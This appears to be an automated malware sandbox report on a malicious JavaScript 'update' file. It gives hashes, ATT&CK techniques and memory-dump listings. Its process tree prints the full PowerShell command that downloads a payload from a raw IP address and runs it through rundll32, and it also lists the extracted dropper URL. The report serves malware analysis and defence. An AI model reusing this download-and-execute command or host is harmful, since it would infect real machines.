0c9697506df18baac4b4215e78a43926ea4bb94ea3607c851a1c2fe3b5b31f17

Resubmissions

15-08-2024 20:42

240815-zhg3jaxglr 10

14-06-2024 12:05

240614-n89dxszekb 10

28-05-2024 22:27

240528-2dhvdagb62 10

Analysis

max time kernel
130s
max time network
137s
platform
windows10-1703_x64
resource
win10-20240611-es
resource tags

arch:x64arch:x86image:win10-20240611-eslocale:es-esos:windows10-1703-x64systemwindows
submitted
15-08-2024 20:42

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General

Target

Update_25_04_2024_3146918.js
Size

135KB
MD5

bf7f711e823916e5f56ff4d2286ee866
SHA1

d9c9d093ce5f1cbc78280ab0232b5d6ef8c25729
SHA256

0c9697506df18baac4b4215e78a43926ea4bb94ea3607c851a1c2fe3b5b31f17
SHA512

842616018719df7c6ee7cac5996ea1399a2a459353ee96de2bf9fda122aac861baa0a5c848dad1d4aa756fab897d1e7a978eac359458d52801020685db67d941
SSDEEP

1536:XDOApMn1gDmN2yBCn/yA3seAeLCMamLcInL1VXJ3Duvnr:6A+n1gDmNnw/yA3slMamLcInL7tDuvr

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.49.69.41/data/d291855f9fd1c934f7c97a4d2ba99b89

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
3516	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
3516	powershell.exe
3516	powershell.exe
3516	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	3516	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

wscript.exepowershell.exe

description	pid	Process	procid_target
PID 2120 wrote to memory of 2412	2120	wscript.exe	71
PID 2120 wrote to memory of 2412	2120	wscript.exe	71
PID 2412 wrote to memory of 3516	2412	powershell.exe	73
PID 2412 wrote to memory of 3516	2412	powershell.exe	73

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_25_04_2024_3146918.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://185.49.69.41/data/d291855f9fd1c934f7c97a4d2ba99b89' -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yvbd0mrt.own.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/2412-29-0x00007FFFA9370000-0x00007FFFA9D5C000-memory.dmp

Filesize
9.9MB

Download
memory/2412-175-0x00007FFFA9370000-0x00007FFFA9D5C000-memory.dmp

Filesize
9.9MB

Download
memory/2412-8-0x000001EC2F350000-0x000001EC2F372000-memory.dmp

Filesize
136KB

Download
memory/2412-7-0x00007FFFA9370000-0x00007FFFA9D5C000-memory.dmp

Filesize
9.9MB

Download
memory/2412-9-0x00007FFFA9370000-0x00007FFFA9D5C000-memory.dmp

Filesize
9.9MB

Download
memory/2412-10-0x000001EC2F650000-0x000001EC2F752000-memory.dmp

Filesize
1.0MB

Download
memory/2412-13-0x000001EC2F7E0000-0x000001EC2F856000-memory.dmp

Filesize
472KB

Download
memory/2412-30-0x000001EC301D0000-0x000001EC303D8000-memory.dmp

Filesize
2.0MB

Download
memory/2412-202-0x00007FFFA9370000-0x00007FFFA9D5C000-memory.dmp

Filesize
9.9MB

Download
memory/2412-6-0x000001EC171C0000-0x000001EC171D0000-memory.dmp

Filesize
64KB

Download
memory/2412-5-0x000001EC2F3B0000-0x000001EC2F432000-memory.dmp

Filesize
520KB

Download
memory/2412-35-0x000001EC2F7C0000-0x000001EC2F7D4000-memory.dmp

Filesize
80KB

Download
memory/2412-28-0x000001EC2FE40000-0x000001EC2FFB6000-memory.dmp

Filesize
1.5MB

Download
memory/2412-195-0x000001EC2F9B0000-0x000001EC2F9F0000-memory.dmp

Filesize
256KB

Download
memory/2412-172-0x00007FFFA9373000-0x00007FFFA9374000-memory.dmp

Filesize
4KB

Download
memory/2412-173-0x00007FFFA9370000-0x00007FFFA9D5C000-memory.dmp

Filesize
9.9MB

Download
memory/2412-4-0x00007FFFA9373000-0x00007FFFA9374000-memory.dmp

Filesize
4KB

Download
memory/3516-174-0x0000024C7E130000-0x0000024C7E138000-memory.dmp

Filesize
32KB

Download
memory/3516-165-0x0000024C7E640000-0x0000024C7E652000-memory.dmp

Filesize
72KB

Download
memory/3516-126-0x0000024C7E610000-0x0000024C7E632000-memory.dmp

Filesize
136KB

Download